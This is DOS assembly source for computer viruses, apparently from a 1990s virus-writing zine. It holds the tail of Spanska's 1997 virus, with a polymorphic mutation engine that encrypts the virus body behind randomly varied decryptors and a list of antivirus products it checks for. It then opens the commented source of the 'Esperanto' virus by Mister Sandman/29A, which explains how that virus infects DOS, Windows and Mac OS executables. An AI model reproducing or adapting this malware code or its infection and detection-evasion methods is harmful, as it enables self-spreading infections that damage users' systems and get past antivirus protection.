;* in al,dx ;* test al,8 ;* jnz VRT ;* wait vertical retrace ;* to avoid flicking NoVRT: ;* in al,dx ;* test al,8 ;* jz NoVRT ;* ;*********************** mov cx, largeur*profondeur xor si, si xor di, di dessine: lodsw xchg ax, bx lodsw mov word ptr cs:[bp+offset z], ax cmp ax, (128+4*profondeur) jb ca_sort_pas sub ax, 200 ca_sort_pas: inc ax mov word ptr ds:[si-2], ax

;we will draw 255*40 points ;ds:si=coordinates stock ;es:di=video ;X and color in ax ;now in bx ;Z in ax ;Z into a temp buffer ;point is too far? ;no = rel="nofollow"> OK ;yes => put it at the front ;increment distance ;stock new Z

;----------calculate xx et yy (screen) from x, y, z (3D)------------;optimization using bl as X and color as bh push cx xchg ah, bl xor bl, bl cmp ah, 128 jb suite5 neg ah inc bl suite5: xor al, al xor dx, dx div word ptr cs:[bp+offset z] push ax mov ah, 60 xor al, al xor dx, dx div word ptr cs:[bp+offset z] xchg cx, ax

;save counter ;get X in ah ;bl used to remember sign ;X positive? ;yes => OK ;no => let's positivize it ;and we remember it was negative ;NB: calculations in fixed point mode ;X is in ah, same order than Z ;dx will not fuck my div ;div X by Z ;result is coordinate 2D (XX) ;Y is backside, altitude 60 = ground ;Y is in ah, same order than Z ;i said dx will not fuck my div ;div Y by Z ;result is coordinate 2D (YY)

;-------calculate video offset of points from XX and YY-------------;optimization using cx as YY and XX on stack ;color is in bh, sign in bl pop dx cmp cx, 170 ja pas_plot cmp dx, 156 ja pas_plot

;get XX from stack ;too much at the bottom: no plot

push dx mov ax, 320 mul cx pop dx cmp bl, 1 jne pos

;XX loves the stack ;screen width ;multiply YY by width ;XX from stack to dx ;X and XX negative?

;too much on sides: no plot

sub ax, dx jmp suite4 pos: add ax, dx

;yes => substract XX from ax

;non => add XX to ax

suite4: add ax, (320*30)+160

;add screen height

;--------calculate color of point (shade effect)-----------------mov di, ax push ax or bh, bh je eteindre

;ax is video offset of point ;on stack ;black point? ;yes => bypass shading routine

mov word ptr bx, cs:[bp+offset z] mov cl, 4 shr bx, cl mov al, 36 sub al, bl jmp pas_eteindre eteindre: xor al, al pas_eteindre:

;128
;color black

;--------calculate point size-----------------pop dx

;get point offset

cmp dx, 320*100 jb fond

;above line 100? ;yes = rel="nofollow"> little point (far)

cmp dx, 320*151 jb moyen

;above line 153? ;yes => middle point

proche: stosb stosb stosb add di, 320-3 stosb stosb stosb jmp pas_plot

;other case => big point (near)

;big = 2 lines of 3 pixels

moyen: stosb fond: stosb

;middle = 2 pixels ;little = 1 pixel

pas_plot: pop cx dec cx je suite9 jmp dessine suite9:

;get back counter ;one more point ;end of screen? ;no => next point

jmp anime

;yes => next screen

;-----------memory zones used for graphic effect-----------msg_bombe

db "

ELVIRA !

"

db " Black and White Girl " db " from Paris " db "You make me feel alive." db "Pars. Reviens. Respire." db " Puis repars. " db " J'aime ton mouvement. " db " Bruja con ojos verdes " db " Eres un grito de vida," db " un canto de libertad. " z dw ? ;************ memory zones used by virus******************** win4octets db 90h, 90h, 90h, 90h f_ext db 0EEh, 0EEh, 0EEh f_attrib db 0AAh f_name dd ? f_time dw ? f_date dw ? f_handle dw ? exehead db 1Ch dup(0aah) av_liste db "TBVIAVNAVSFIF-FVIVDRSCGUCO" zip_liste db "PKARRALHBA" stealth_non db 0 file_win db "C:\WINDOWS\WIN.COM", 0 copyright db " (c) Spanska 97" ;**************************************************** ;********** STUPID MUTATION ENGINE ****************** ;**************************************************** poly_depuis_runtime: push ax push bx push cx push dx push es push ds push bp jmp overwrite poly_depuis_resident: push push push push push push push

ax bx cx dx es ds bp

mov bp, offset start_virus neg bp

;adjust bp value to use from TSR

;-----random mutation of decryptor instructions and replacement of code----overwrite: lea si, [bp+_mutation0] lea di, [bp+mutation0]

;stock of possible mutations ;offset of mutation in decryptor

mov ax, 12 mov bx, 23 call mute_bloc

;number of possibilities ;byte number of this mutation ;random select one possibility

lea si, [bp+_mutation1] lea di, [bp+mutation1] mov ax, 10 mov bx, 20 call mute_bloc lea si, [bp+_mutation2] lea di, [bp+mutation2] mov ax, 10 mov bx, 5 call mute_bloc lea si, [bp+_mutation3] lea di, [bp+mutation3] mov ax, 10 mov bx, 6 call mute_bloc lea si, [bp+_mutation4] lea di, [bp+mutation4] mov ax, 8 mov bx, 5 call mute_bloc lea si, [bp+_mutation5] lea di, [bp+mutation5] mov ax, 9 mov bx, 6 call mute_bloc lea si, [bp+_mutation6] lea di, [bp+mutation6] mov ax, 8 mov bx, 10 call mute_bloc lea si, [bp+_mutation7] lea di, [bp+mutation7] mov ax, 9 mov bx, 4 call mute_bloc lea si, [bp+_mutation8] lea di, [bp+mutation8] mov ax, 7 mov bx, 10 call mute_bloc lea si, [bp+_mutation9] lea di, [bp+mutation9] mov ax, 10 mov bx, 6 call mute_bloc mov ax, 100 call aleatoire cmp ax, 20 ja evite_suite jmp cryptage_xor

;20% chances for a XOR encryption

evite_suite: cmp ax, 40 ;20% jb cryptage_add cmp ax, 55 ;15% jb cryptage_rol cmp ax, 70 ;15% jb cryptage_inc cmp ax, 85 ;15% jb cryptage_not ;15% chances for

chances for a ADD/SUB encryption chances for a ROL/ROR encryption chances for a INC/DEC encryption chances for a NOT encryption a NEG encryption

cryptage_neg: mov byte ptr cs:[bp+type_cryptage], 5 lea si, [bp+_mutation10sixte] lea di, [bp+mutation10] mov ax, 4 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_not: mov byte ptr cs:[bp+type_cryptage], 4 lea si, [bp+_mutation10quinte] lea di, [bp+mutation10] mov ax, 4 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_inc: mov byte ptr cs:[bp+type_cryptage], 3 lea si, [bp+_mutation10quart] lea di, [bp+mutation10] mov ax, 5 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_rol: mov byte ptr cs:[bp+type_cryptage], 2 lea si, [bp+_mutation10ter] lea di, [bp+mutation10] mov ax, 4 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_add: mov byte ptr cs:[bp+type_cryptage], 1 lea si, [bp+_mutation10bis] lea di, [bp+mutation10] mov ax, 5 mov bx, 10 call mute_bloc jmp evite_autres_cryptages cryptage_xor: mov byte ptr cs:[bp+type_cryptage], 0 lea si, [bp+_mutation10] lea di, [bp+mutation10] mov ax, 8 mov bx, 10 call mute_bloc

evite_autres_cryptages: lea si, [bp+_mutation11] lea di, [bp+mutation11] mov ax, 6 mov bx, 12 call mute_bloc lea si, [bp+_mutation12] lea di, [bp+mutation12] mov ax, 11 mov bx, 5 call mute_bloc lea si, [bp+_mutation13] lea di, [bp+mutation13] mov ax, 9 mov bx, 6 call mute_bloc lea si, [bp+_mutation14] lea di, [bp+mutation14] mov ax, 6 mov bx, 7 call mute_bloc ;---------------- new random encryption key from clock --------------mov ah, 2Ch int 21h mov cs:[bp+offset clef], dl ;------------- encrypt virus body in the heap ----------------------------lea si, [bp+offset debut_cryptage] lea di, [bp+offset heap] mov cx, fin_cryptage - debut_cryptage mov al, byte ptr cs:[bp+type_cryptage] cmp al, 0 je xor_crypte cmp al, 1 je sub_crypte cmp al, 2 je ror_crypte cmp al, 3 je dec_crypte cmp al, 4 je not_crypte neg_crypte: lodsb neg al stosb loop neg_crypte jmp evite_autres_loops not_crypte: lodsb not al stosb loop not_crypte jmp evite_autres_loops

dec_crypte: lodsb dec al stosb loop dec_crypte jmp evite_autres_loops ror_crypte: lodsb ror al, 1 stosb loop ror_crypte jmp evite_autres_loops sub_crypte: lodsb sub al, dl stosb loop sub_crypte jmp evite_autres_loops xor_crypte: lodsb xor al, dl stosb loop xor_crypte evite_autres_loops: mov al, dl stosb pop pop pop pop pop pop pop ret

bp ds es dx cx bx ax

;----------pseudo-random number generator-------------;in: ax = upper limit ;out: ax = random number between 0 et limit-1 included aleatoire: push bx push dx push cx xchg ax, bx mov ah, 2Ah int 21h xchg dx, ax xor ax, 0FFFFh xor dx, dx div bx xchg ax, dx pop cx pop dx pop bx ret

;i've made a little error in this routine, ;because i wanted to make slow poly with: ;get date: return dh=month dl=day ;i didn't thought that will restrict the ;number of possible mutants to 365 (thanks ;to AVP to have shown me this error). Replace ;the "get date" (mov ah, 2Ah) by a "get time" ;(mov ah, 2Ch) and you will have millions ;of possible mutants.

;------------change an entire block of instructions--------------

;in: si=stock zone, di=offset in decryptor ;ax=number of possibilities, bx=number of bytes mute_bloc: call aleatoire mov cx, bx mul bx add si, ax rep movsb ret ;-------------possible mutations-----------------------;0/ get delta offset in 23 bytes _mutation0: mov di, sp call $+4 ;delta: ret dec di dec di db 36h, 81h, 2Dh, 34h, 1 mov bp, ss:[di] add word ptr ss:[di], offset mutation1 db 0EBh, 0EEh mov si, sp call $+4 ;delta: ret dec si dec si db 36h, 81h, 2Ch, 34h, 1 mov bp, ss:[si] add word ptr ss:[si], offset mutation1 db 0EBh, 0EEh mov si, sp call $+5 ;delta: int 20h dec si dec si db 36h, 81h, 2Ch, 34h, 1 mov bp, ss:[si] add word ptr ss:[si], offset mutation1 ret nop mov di, sp sub di, 2 call $+3 ;delta: db 36h, 81h, 2Dh, 38h, 1 mov bp, ss:[di] add word ptr ss:[di], offset mutation1 ret nop nop nop

;sub ss:[di], offset delta

;jmp delta

;sub ss:[si], offset delta

;jmp delta

;sub ss:[si], offset delta

;sub ss:[di], offset delta

nop nop call $+3 ;delta: mov bp, sp mov ax, [bp] db 83h, 46h, 0, 0Fh db 2Dh, 37h, 1 mov bp, ax ret call $+4 nop ;delta: mov ax, sp xchg ax, bx mov ax, ss:[bx] inc ax db 36h, 83h, 07, 14h db 2Dh, 33h, 1 mov bp, ax ret nop nop sub bx, bx or bx, sp dec bx call $+3 ;delta: dec bx db 36h, 81h, 2Fh, 37h, 1 mov bp, ss:[bx] db 36h, 81h, 07, 46h, 1 ret nop call $+7 ;delta: mov cl, 2 db 0E2h, 0Fh mov ax, 0FFFFh and ax, sp xchg ax, bx mov ax, ss:[bx] db 2Dh, 33h, 1 mov bp, ax ret mov ax, sp dec ax dec ax xchg ax, bx call $+3 ;delta: db 36h, 81h, 2Fh, 37h, 1 mov bp, ss:[bx] db 36h, 81h, 07, 46h, 1 ret nop mov bx, sp call $+3

;add word ptr [bp], mutation1-delta ;sub ax, offset delta

;add word ptr ss:[bx], mutation1-delta+1 ;sub ax, offset delta

;sub ss:[bx], offset delta ;add word ptr ss:[bx], offset mutation1

;loop mutation1

;sub ax, offset delta

;sub ss:[bx], offset delta ;add word ptr ss:[bx], offset mutation1

;delta: db 36h, 81h, 6Fh, 0FEh, 34h, 1 ;sub ss:[bx-2], offset delta mov bp, ss:[bx-2] add word ptr ss:[bx-2], offset mutation1 ret int 3h call $+3 ;delta: mov bx, sp mov ax, ss:[bx] db 05, 14h, 0 db 36h, 81h, 2Fh, 32h, 1 mov bp, ss:[bx] mov ss:[bx], ax ret db 0B8h, 38h, 1 db 0B9h, 0Eh, 0 call $+3 ;delta: mov bx, sp mov dx, ss:[bx] sub dx, ax mov bp, dx add ss:[bx], cx ret clc

;add ax, mutation1-delta ;sub ss:[bx], offset delta

;mov ax, offset delta ;mov cx, offset mutation1-delta

;1/ push es, ds then put es=ds=cs in 20 bytes _mutation1: push es push ds push cs push cs pop es pop ds db 10 dup (90h) clc db 2 dup (90h) clc db 9 dup (90h) push es nop push ds nop push cs nop pop es nop push cs nop pop ds mov ax, es push ax mov ax, ds push ax mov ax, cs

push ax push ax pop bx pop bx mov es, bx mov ds, bx db 4 dup (90h) nop mov bx, es push bx mov cx, ds push cx mov dx, cs mov es, dx mov ds, dx nop xor ax, 0 db 3 dup (90h) nop nop mov ax, es nop mov bx, ds nop mov cx, cs nop push cx nop push cx nop pop ds nop pop es push ax push bx xor dx, dx mov cx, es or dx, cx push dx xor cx, cx mov dx, ds or cx, dx push cx mov cx, cs push cx pop es mov ds, cx mov ax, mov bx, and ax, push ax mov dx, push dx push bp mov bp, mov ds, mov es, pop bp nop

0FFFFh es bx ds

cs bp bp

sub sp, 2 mov bx, sp mov ss:[bx], es mov ax, ds mov bx, cs push bx pop es mov ds, bx push ax db 3 dup (90h) dec dec mov mov dec dec mov mov mov mov mov

sp sp bx, sp ss:[bx], es sp sp bx, sp ss:[bx], ds ax, cs es, ax ds, ax

nop sub sp, 4 mov di, sp mov ss:[di], ds mov ss:[di+2], es push cs mov si, sp mov es, ss:[si] pop ds

;2/ JMP 12Bh in 5 bytes _mutation2: db 90h db 33h, 0C0h db 74h, 0Bh

;nop ;xor ax, ax ;je decrypte

db 33h, 0C9h db 41h db 75h, 0Bh

;xor cx, cx ;inc cx ;jne decrypte

db 90h db 0EBh, 0Dh db 90h clc

;nop ;jmp decrypte ;nop

db 90h db 34h, 0FFh db 75h, 0Bh

;nop ;xor al, 0FFh ;jne decrypte

db 32h, 0DBh db 76h, 0Ch db 90h

;xor bl, bl ;jbe decrypte ;nop

db 0B9h, 02h, 0 ;mov cx, 2 db 0E2h, 0Bh ;loop decrypte

db db db db

41h 41h 0E2h, 0Ch 90h

;inc cx ;inc cx ;loop decrypte ;nop

db 0E9h, 0Dh, 0 ;jmp near decrypte push ax pop ax db 90h ;nop db 90h ;nop db 0E9h, 0Bh, 0 ;jmp near decrypte db 0F6h,0C5h,01 ;test ch, 1 db 74h, 0Bh ;jz decrypte ;3/ STOSB in 6 bytes (without di, si, cx, dl) _mutation3: stosb nop nop nop nop clc nop nop nop nop nop stosb mov es:[di], al xchg ax, di inc ax xchg ax, di xchg ax, dx mov ds:[di], dl inc di xchg ax, dx nop inc di mov es:[di-1],al nop mov byte ptr [di], 0 or [di], al inc di xchg byte ptr [di], al add di, 2 dec di mov byte ptr [di], 0 add byte ptr [di], al inc di add di, 1 xchg byte ptr [di-1], al;3

mov byte ptr [di], 0FFh and byte ptr [di], al inc di ;4/ RET in 5 bytes (without di, si, cx, dl) _mutation4: ret nop nop nop clc nop nop nop nop ret pop ax jmp ax nop nop nop pop bx jmp bx nop xchg ax, cx pop cx xchg ax, cx jmp ax xchg ax, dx pop dx xchg ax, dx jmp ax pop ax pushf push cs push ax iret pop bx pushf push cs push bx iret ;5/ mov cx, fin_cryptage-debut_cryptage _mutation5: mov cx, fin_cryptage-debut_cryptage nop nop nop nop

in 6 bytes

nop nop mov cx, fin_cryptage-debut_cryptage mov ax, fin_cryptage - debut_cryptage+1 dec ax push ax pop cx mov bx, fin_cryptage-debut_cryptage push bx pop cx nop nop mov dx, fin_cryptage-debut_cryptage xchg cx, dx mov ax, fin_cryptage-debut_cryptage-1 inc ax mov cx, ax xor cx, cx add cx, fin_cryptage-debut_cryptage xor ax, ax add ax, fin_cryptage-debut_cryptage xchg ax, cx mov cx, debut_cryptage-fin_cryptage neg cx nop ;6/ lea si, debut_cryptage in 10 bytes (without CX) _mutation6: lea si, [bp+offset debut_cryptage+5] sub si, 5 nop nop nop nop nop nop nop nop nop lea si, [bp+offset debut_cryptage] mov add mov sub

ax, ax, si, si,

bp offset debut_cryptage+9 ax 9

sub bx, bx xor bx, offset debut_cryptage add bx, bp xchg si, bx xor dx, dx add dx, bp

add dx, offset debut_cryptage mov si, dx mov mov add mov dec

bx, ax, ax, si, si

bp offset debut_cryptage+1 bx ax

push bp pop ax add ax, offset debut_cryptage-1 inc ax mov bx, ax mov si, bx mov dx, offset debut_cryptage neg dx push bp pop si sub si, dx nop ;7/ mov di, si in 4 bytes (without CX, SI) _mutation7: mov di, si nop nop nop nop mov di, si nop push si pop di nop push si pop dx xchg dx, di xchg si, di mov si, di push si pop ax xchg ax, di nop sub di, di xor di, si mov ax, si mov di, ax xchg si, ax xchg ax, di mov si, di ;8/ mov dl, cs:[bp+offset clef] in 10 bytes (without CX, SI, DI)

_mutation8: mov dl, cs:[bp+offset clef] nop nop nop nop nop nop nop nop nop nop mov dl, ds:[bp+offset clef] lea bx, [bp+offset clef+5] sub bx, 5 mov dl, [bx] nop mov ax, bp add ax, offset clef-2 inc ax inc ax xchg ax, bx mov dl, [bx] sub xor add mov

bx, bx, bx, dl,

bx offset clef bp [bx]

mov bx, bp add bx, offset clef mov dh, [bx] xchg dh, dl mov mov add mov

bx, ax, bx, dl,

bp offset clef+1 ax [bx-1]

;9/ LODSB in 6 bytes (without CX, SI, DI, DL) _mutation9: lodsb nop nop nop nop nop nop nop nop nop nop lodsb mov al, es:[si]

xchg ax, si inc ax xchg ax, si mov bx, si mov al, [bx] inc si nop inc si mov al, es:[si-1] nop mov ax, 0 or al, [si] inc si xchg byte ptr [si], al add si, 2 dec si xor ax, ax add al, byte ptr [si] inc si nop add si, 1 xchg byte ptr [si-1], al mov ax, 0FFFFh and al, byte ptr [di] inc si ;10/ XOR AL, DL in 10 bytes (without CX, SI, DI, DL, AL) _mutation10: xor al, dl db 2 dup (90h) xchg cx, bx xchg cx, bx nop clc db 8 dup (90h) xor al, dl xchg ax, bx xor bl, dl xchg ax, bx db 5 dup (90h) stc db 2 dup (90h) xor ax, dx db 6 dup (90h) clc db 5 dup (90h) xor ax, dx db 2 dup (90h) stc

db 2 dup (90h) mov bx, dx xor ax, bx db 3 dup (90h) lea mov xor mov

bx, [bp+offset temp] [bx], dl [bx], al al, [bx]

lea bx, [bp+offset temp] xchg [bx], al xor [bx], dl xchg al, [bx] ;10bis/

add AL, DL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10bis: db 3 dup (90h) add al, dl db 5 dup (90h) db 4 dup (90h) xchg al, dl add dl, al xchg al, dl mov ah, al mov dh, dl db 2 dup (90h) add ah, dh xchg ah, al neg dl sub al, dl neg dl db 4 dup (90h) db 2 dup (90h) neg dx nop sub al, dl nop neg dx ;10ter/

rol AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10ter: db 3 dup (90h) rol al, 1 db 5 dup (90h) db 7 dup (90h) rol al, 1 nop lea bx, [bp+offset temp] xchg [bx], al rol byte ptr [bx], 1 xchg al, [bx]

jmp baise_les4 neg al inc al not al baise_les4: rol al, 1 ;10quart/

inc AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10quart: db 4 dup (90h) inc al db 4 dup (90h) db 8 dup (90h) add al, 1 inc ax db 9 dup (90h) lea bx, [bp+offset temp] xchg [bx], al inc byte ptr [bx] xchg al, [bx] jmp baise_les xor al, dl add al, dl rol al, 1 baise_les: inc al ;10quinte/

not AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10quinte: db 4 dup (90h) not al db 4 dup (90h) db 4 dup (90h) xchg al, dh not dh xchg al, dh lea bx, [bp+offset temp] xchg [bx], al not byte ptr [bx] xchg al, [bx] jmp baise_les2 xor al, dl add al, dl inc al baise_les2: not al ;10sixte/

neg AL in 10 bytes (without CX, SI, DI, DL, AL)

_mutation10sixte: db 3 dup (90h)

neg al db 5 dup (90h) db 3 dup (90h) mov dh, al neg dh mov al, dh nop lea bx, [bp+offset temp] xchg [bx], al neg byte ptr [bx] xchg al, [bx] jmp baise_les3 not al xor al, dl inc al baise_les3: neg al ;11/ CALL in 12 bytes (without CX, SI, DI, DL, AL) _mutation11: db 0E8h, 0C4h, 0FFh ;call baise_flag_cryptage db 90h, 90h, 90h, 90h, 90h db 90h, 90h, 90h stc lea bx, [bp+offset mutation11+12] push bx db 0EBh, 0C0h ;jmp baise_flag_cryptage db 90h, 90h, 90h, 90h clc db 8Bh, 0DDh ;mov bx, bp add bx, offset mutation11 db 83h, 0C3h, 0Ch ;add bx, 12 db 53h ;push bx db 0EBh, 0BBh ;jmp baise_flag_cryptage db 51h ;push cx lea bx, [bp+offset mutation11+10] db 53h ;push bx db 0B1h, 02h ;mov cl, 2 db 0E2h, 0BDh ;loop baise_flag_cryptage db 59h ;pop cx nop lea bx, [bp+offset mutation11+12] db 53h ;push bx db 32h, 0DBh ;xor bl, bl db 76h, 0BEh ;jbe baise_flag_cryptage nop nop nop mov bx, offset mutation11+10 db 43h ;inc bx db 03h, 0DDh ;add bx, bp db 43h ;inc bx db 53h ;push bx

db 32h, 0DBh db 74h, 0BBh

;xor bl, bl ;je baise_flag_cryptage

;12/ DEC CX in 5 bytes (without CX, SI, DI, DL, AL) _mutation12: nop nop dec cx nop nop nop nop sub cx, 1 inc cx sub cx, 2 nop neg cx inc cx neg cx xchg cx, bx dec bx xchg cx, bx nop nop xchg cx, ax dec ax xchg cx, ax xchg cx, di dec di xchg cx, di xor bl, bl sbb cx, 1 db 81h, 0C1h, 0FFh, 0FFh nop db 90h, 90h db 83h, 0C1h, 0FFh mov bx, 1 sub cx, bx ;13/ CMP CX, 0 in 6 bytes _mutation13: cmp cx, 0 nop nop nop nop nop nop cmp cx, 0

nop or cx, cx nop nop nop nop nop nop or cx, cx nop test cx, 0FFFFh nop nop or cl, cl jne suite_or or ch, ch suite_or: mov bx, cx inc bx cmp bx, 1 inc cx cmp cx, 1 dec cx nop dec cx cmp cx, 0FFFFh inc cx nop ;14/ JNE XOR_LOOP in 7 bytes _mutation14: db 90h, 90h, 90h db 90h, 90h db 75h, 0D2h

;jne xor_loop

db 90h, 90h, 90h db 75h, 0D4h db 90h clc

;3 nop ;jne xor_loop ;nop

db 90h, 90h db 74h, 03 db 0EBh, 0D3h stc ;suite_zob:

;2 nop ;je suite_zob ;jmp xor_loop

db 77h, 0D7h db 90h, 90h, 90h db 90h, 90h

;ja xor_loop ;3 nop ;2 nop

db 76h, 05h db 0EBh, 0D5h db 90h, 90h, 90h ;suite_zobi:

;jna suite_zobi ;2 ;jmp xor_loop ;3 nop

db db db db

9Ch 5Bh 0F6h, 0C3h, 40h 74h, 0D2h

;pushf ;pop bx ;test bl, 01000000b ;je xor_loop

;-----------memory zones used by mutation engine--------------temp type_cryptage fin_cryptage: clef endvirus: heap: code

db 0 db 0

db 0

ends end

start

;----------------- (c) Spanska 1997 ---------------------------

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ³ /\/\/\/\/ Esperanto \/\/\/\/\ ³ written by Mister Sandman/29A ³ A MULTIPROCESSOR and MULTIPLATFORM virus ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÜÜÜÛÛß ÛÛÛÜÜÜÜ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

0. Introduction ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Welcome to Esperanto, world's first multiprocessor and multiplatform virus ever, which is (pretty obviously) my best virus so far. It took me several months to write it, assemble the whole thing, and put it together into one only file, id est, the virus binary. In every moment i tried to write such a clear, modulized, easily understandable code to the detriment of optimization. However i'm conscious it's necessary to write a previous deep analysis so everybody may clearly understand the 100% of its functioning.

1. Processors/platforms/objects ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Esperanto is able to run in three different kinds of processors, which are Intel 80x86 (used in common PCs), Motorola 680x0 (used in old Apple Macintosh computers and in new Macintosh Performa) and PowerPC 6xx (used in new Power Macintosh and PowerBook computers). Inside each of these processors it is able to work in several different platforms, thus, in Intel 80x86 processors it will run under DOS, Windows 3.1x, Windows95, WindowsNT and Win32s, and in Motorola and PowerPC it will run under any version of Mac OS (since early 6.x up to the recently released Mac OS 8, which has been fully tested under); albeit Amiga computers use also Motorola processors, Esperanto will not be able to work in them. And now finally, depending on the platform Esperanto is being executed in, it will infect several different objects; when running in DOS and Windows 3.1x it will infect: COM, EXE, NewEXE, and PE files. Under Windows95, WindowsNT and Win32s (Win32 from now onwards) it will infect COM, EXE, and PE files. Finally, when run under Mac OS, it will infect Mac OS applications, including extensions, control panels, the System File, the Mac OS Finder, the DA Handler, and, if available, the Desktop File (only in Mac OS <7). The following diagram is pretty useful to understand the above:

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄDLE DOS ÄÄÄÄÄÄDLE COM, EXE, NewEXE, PE ÚÄÄÄÄÄÄÄÄÄDLE³ Intel 80x86 ÃÄÄÄÅÄDLE Win 3.1x ÄDLE COM, EXE, NewEXE, PE ³ ³ (PCs) ³ ÀÄDLE Win32 ÄÄÄÄDLE COM, EXE, PE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄij ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÁÄÄÄÄÄ¿ ³ Motorola 680x0 ³ ³ Esperanto ÃÄÄDLE³ (Old Macs) ÃÄ¿ ÚÄDLE Mac OS Apps ÀÄÄÄÄÄÂÄÄÄÄij (Mac Performa) ³ ³ ÃÄDLE System File ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- ÃÄDLE Mac OS ÄÄÅÄDLE Mac OS Finder ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ÃÄDLE DA Handler ³ ³ PowerPC 6xx ³ ³ ÀÄDLE Desktop File ÀÄÄÄÄÄÄÄÄÄDLE³ (Power Macs) ÃÄÄ(Mac OS <7) ³ (PowerBooks) ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄ-

2.0. Internal structure ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Esperanto gets the compatibility and the portability between these three different processors by means of the strategyc use of its internal struc-

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ture, so it's completely necessary to see what does it consist on in order to understand the way Esperanto works. Maybe the first question which comes up to your mind is something similar to "how the fuck can it jump from PCs to Macintoshes?". Theoretically, it would be impossible, as PC applications are compiled for Intel processors, which use different opcodes than the ones used by Motorola and/or PowerPC. But practically it was possible, by means of some tricks. I will try to explain them all point by point. a) How can a PC executable file jump into a Mac? Mac OS uses something similar to drivers, called "extensions". Since many time ago Mac OS includes an extension called "PC Exchange", which is loaded by default and is able to read and write any PC disk. Since then lots of Macintosh users, by means of DOS and Win emulators, use lots of PC files in their Macs. The first step is, as you can see, done. b) How can Esperanto infect under Mac OS? well, this requires some theory. Mac OS executable files consist on definite-purpose resources (such as CODE, MDEF (Menu DEFinition), BNDL (bundle), etc). Every executable file in Mac OS has a resource index or relocation at its end, and this is what the operating system looks for in order to distinguish executable and non-executable files. One of these resource indexes has been "artificially" added to the end of the Esperanto body. This item does not do anything under any PC platform, but it does force Mac OS to execute infected PC programs in Macs. When going to run any of these PC programs under one of the known DOS or Win emulators, Mac OS will recognize the executable format and then will run the infected file with no emulation so Esperanto will go memory resident under Mac OS. After this, the control will be given back to the Intel emulator and then the infected file will be normally executed, being possible to stay memory resident in the virtual memory used by the DOS or Win emulator as well. c) But aren't the opcodes of each processor different? indeed. And that is why Esperanto has a specific infection routine for Mac OS applications totally written and compiled in Motorola 680x0 code. This submodule was incrusted into the main Esperanto body and is pointed by the previously mentioned resource index. When an infected application is run in Mac OS after having been recognized as an executable file the operating system first checks the resource index. A pointer to a MDEF resource will be found in it, and then the execution will jump straight to the starting offset pointed to in the resource index, where the so called "jump table" is supposed to be. This jump table is another characteristic of Mac OS applications, and its mission consists on managing the hierarchy of the execution of the different resources in a file. This jump table does not actually exist in Esperanto; instead of it there is a jmp instruction (Intel-opcoded) which in PCs will jump to the virus real start and in Macintoshes will be interpreted as non-sense data, so it will be skipped... until the next instruction, a Motorola one, is reached. That is the first instruction of the Mac OS module which, consequently, will be run as execution goes on. Our objective is done. d) And how can the virus run in PowerPC processors? since these processors are used in Power Macintosh and PowerBook computers, in Apple they had to look for some kind of compatibility between old applications (which were compiled for Motorola) and the new processors, so they eventually came up with the idea of including a Motorola code emulator inside the new Mac OS kernel. Since then there's a full compatibility between both processors and their applications, and that's why Esperanto is able too to work in PowerPC-based machines which use Mac OS. e) How can Esperanto jump from Macs to PCs? also very easy. The virus will infect every PC file it finds in the DOS/Win emulator and as soon as o-

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ne of these files is copied to a PC the work will be done. And remember there's no necessity of any floppy disks, as it's usual to find PC computers connected to Macintoshes by networking means. That's why none of the "foreign" infections (of Mac apps in PC, and of PC files in Mac OS) was included in the virus, as they would be a loss of bytes. Once this all is understood it is much simpler to understand the internal structure of the virus. Esperanto consists on four different modules and four entry points. There is a specific virus module for Mac OS, DOS, Win, and Win32. And there is one entry point for each of them: the first one is "universal", it's the one we've just described above. It is valid for COM, EXE and Mac OS apps, and it is formed only by a simple "jmp" instruction, whose mission consists on "discriminating" the processor it is working under and, depending on that, distributing the execution point either to the start of the Mac OS module or to the start of the DOS one. The second entry point is the one straight reached in this last case, and it is valid only for COM and EXE files. The third entry point is the one used by the Windows 3.1x module, and finally the fourth deals with the Win32 code. Again, the use of a diagram will make things much simpler to understand:

